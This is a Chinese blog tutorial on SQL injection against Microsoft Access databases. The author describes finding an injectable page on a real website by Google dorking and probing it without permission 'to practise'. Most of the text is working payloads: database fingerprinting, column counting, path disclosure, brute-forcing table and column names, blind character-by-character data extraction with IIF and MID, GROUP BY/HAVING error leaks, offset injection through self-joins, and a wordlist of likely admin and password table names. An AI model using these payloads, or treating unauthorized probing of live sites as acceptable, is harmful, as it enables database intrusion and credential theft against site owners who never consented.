闲来无事,随手google hack出一个注入点,随手加一个单引号报错,随手发现是access数据库,而且是数字型的。随手上sqlmap。
判断dbms类型
sqlmap跑出来发现不是dba权限,对这个站兴趣不是很大,就拿来练练access注入。
这里sqlmap告诉我们数据库是类型是access。但是不使用sqlmap我们如何准确判断数据库类型呢?
由于我直接使用inurl:asp?id=1
来找的注入点,那么我们会猜测数据库极大可能是SQLServer数据库或者是ACCESS数据库。这里我给出三种区分方法
- 给url加一些污染参数看报错信息
可以看到Microsoft JET Database Engine 错误 '80040e14'
这样的报错信息,那我们就能确定它使用的是ACCESS了。 - 利用系统表结构
访问http://www.xxx.com/en/Detail.asp?id=122 (select count(*) from sysobjects)>0
其中sysobjects
是sql server
用来存储数据库所有对象的。
这样就表示不是sql server
了。
再试试访问http://www.xxx.com/en/Detail.asp?id=122 and (select count(*) from msysobjects)>0
其中msysobjects
是access
用来存储对象的。
从报错信息得知存在这个库,但是我们是没有权限读取的,这也是access注入比较难的地方。 - 不返回报错信息怎么办
在不返回报错信息的情况下,我们只能以盲注的思想来猜测数据库类型。
如果目标数据库同时支持len函数和chr函数,且不支持length和char函数,则很可能是Access数据库。
发现使用len
函数页面返回正常
使用length
函数是不正常的,那么极大可能是access数据库。判断列数
order by
函数功能我就不再赘述,access注入和mysql注入一样也需要使用order by来判断当前查询语句的字段数,才能保证使用union前后字段一致。
二分法思想,访问http://www.xxx.com/en/Detail.asp?id=122 order by number
找到分界点就是我们需要找到字段数。
可以看到26是正常的
27就错误了,说明有26个字段。逐级注入
爆物理路径
可以通过对一个不存在的库进行SELECT操作,Access将会返回一条包含有完整路径的错误信息:1
UNION SELECT 1 FROM ThisIsAFakeName.FakeTable
猜解表名
前文已经提及access的系统表msysobject
默认是没有权限访问的,所以我们不能想mysql注入一样通过访问系统表来得到表名和列名。所以我们只能靠猜解。
猜解说白了就是暴力破解,如图
写个脚本一次更换图中的表名猜解,当存在表名时返回页面才正常。
也可以使用http://www.xxx.com/en/Detail.asp?id=1 and exists(select * from admin)
这种语法猜解。
猜解列名
当然,前提是我们已经知道了表名。
爆破法(思路与猜解表名一致)
1
2
3AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)
还可以
and exist(select fieldname from tablename)having/group
科普一下,在access数据库里,是支持having 和 group by 语句的,这里分情况讨论。
情况一
如果站点SQL查询语句为select id,name,address from 表名
也就是说查询的是特定的字段数据(而不是*),那么我们可以这么爆:
查询http://www.xxx.com/en/Detail.asp?id=1 group by 1 having 1=1
,注意这是针对数字型的,如果是字符型我们应该使用http://www.xxx.com/en/Detail.asp?id=1' group by 1 having '1'='1'
服务器返回错误信息1
2Microsoft JET Database Engine (0x80040E21)
试图执行的查询中不包含作为合计函数一部分的特定表达式 'id' 。
爆出id字段,继续,asp?id=1 group by 1,id having 1=1
返回错误:1
2Microsoft JET Database Engine (0x80040E21)
试图执行的查询中不包含作为合计函数一部分的特定表达式 'email' 。
依次类推asp?id=1 group by 1,id,email having 1=1
可以爆出目标表中的所有字段。
情况二
如果站点SQL查询语句为select * from product where id=”id”
那么执行上述语句就会返 回这样的错误:
很遗憾我遇到的是情况二。
这时我们可以这样爆字段,asp?id=1 having sum(1)=1
//(数字型)having sum('1')='1')
//(字符型)
可以看到我们注出来了id这个字段。
但这样很有局限性,只能爆出第一个字段id,其他的就没办法了。而id字段其实可能是可以直接猜出来的。
猜解内容的行数
同意前提是我们知道表名。
在进一步的行动中,有时需要知道表中内容的行数。
在下面的查询中将被用作TAB_LEN
变量:1
AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)
这里的”X”是大于0的任意值。
IIF是Access注入中非常常用的一个函数。等价于mysql的if函数,待会我会总结下mysql和access语法的不同之处。
一次增加 X 的值,正常返回页面了就说明长度为X。
猜解内容的长度
前提:表名、列名
如果目标注入点不直接回显错误信息,则我们需要首先知道目标字段内容的长度,才能进一步通过写脚本爆破出字段内容。
通过以下语句获取”ATTRIB”列的第一行的内容长度:1
AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)
可以通过以下语句猜解到 “ATTRIB”列中第二行到第TAB_LEN行的内容的长度(这里N的值在2和TAB_LEN(在前面已经获得)之间)):1
AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = X,1,0)
“X” 为大于0的任意值,使用ATTRIB<>’valueXXX’的原因是我们必须选择一个特定的行来猜解。将之前得到的”TOP N”行的值排除掉,然后剩下的行就是正在猜解的行。当然,这里有一个前提,”ATTRIB”必须是主键。
猜解内容
前提:表名、列名。1
AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2' ... etc ... ) = CHAR(YYY), 1, 0)
“N”是要猜解的行,”XXX”是”ATTRIBxxx”的第X个字节,”ATT_key”是表的主键,”YYY”是一个0到255之间的数。它代表着一个字符的ASCII码。这里我们仍然要使用前面提到的方法猜解其他行的内容。
当然,也可以直接联合查询:1
union select top N password from table where key<>xxx
其中,key是table的主键,也就是说,我们需要先爆出主键名。
猜解字段数
前提:表名。
有时,我们在知道表名的情况下,需要知道该表内的字段数目,以用于偏移注入等情况。这时,我们可以这样:1
id=1 union select 1,2,3,4,* from xxx
假设通过order by我们知道查询语句的字段数是8,则如果上面的语句成立,则xxx表的字段数就是(8-4=4)个。
ACCESS偏移注入
前提
- 知道表名
- 知道目标表的一个字段,比如id,但是却不知道其他字段。
- 主查询语句的字段数大于或等于目标表列的两倍最好,这样一般都能显示齐
注入原理
union联合查询需要列相等,顺序一样1
2
3
4
5
6
7
8
9
10
11
12
13select * from admin as a inner join admin as b on a.id=b.id `
这句话就是说把admin表记为a,同时也记为b,然后查询条件是a表的id列与b表的id列相等,返回所有相等的行。显然,a、b都是同一个表,当然全部返回啦
星号*代表了所有字段,如你查admin表,他有几个字段,那么星号就代表几个字段。
如果爆出的内容不在可显示字段怎么办?那么
union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
这里假设主语句查询字段共20个,目标表admin字段数为5。
大家是否觉得很疑惑:10+2 + 5*2 = 22 > 20
但这条语句是合法的。因为a.id和 b.id在 * 里是有的,那么自动去掉重复的元素以保持结果集合里元素的唯一性。这样一来虽然查询效果一样,但是*里的字段排列顺序却被打乱了!先后两次打乱很有可能让username、password等字段偏移到可显示位置。
如果还没成功 怎么办?
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,d.id,* from (((admin as ainner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)
字典
这里是一个小的表/列名样本字典,在猜解中也许用的到:1
2
3
4
5
6
7
8account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
customers, customer, config, conf, cfg;
hash;
login, logout, loginout, log;
member, memberid;
password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
store, store1, store2, store3, store4, setting;
username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;
最后总结下mysql与access语法的不同之处:
回到这个站来说,我检测到不是dba权限,虽然可以写个sql-shell但是意义不大。也没怎么去搞它,就拿来练练手。
参考链接:
http://blog.csdn.net/happyorange2014/article/details/49754951
https://yq.aliyun.com/ziliao/90386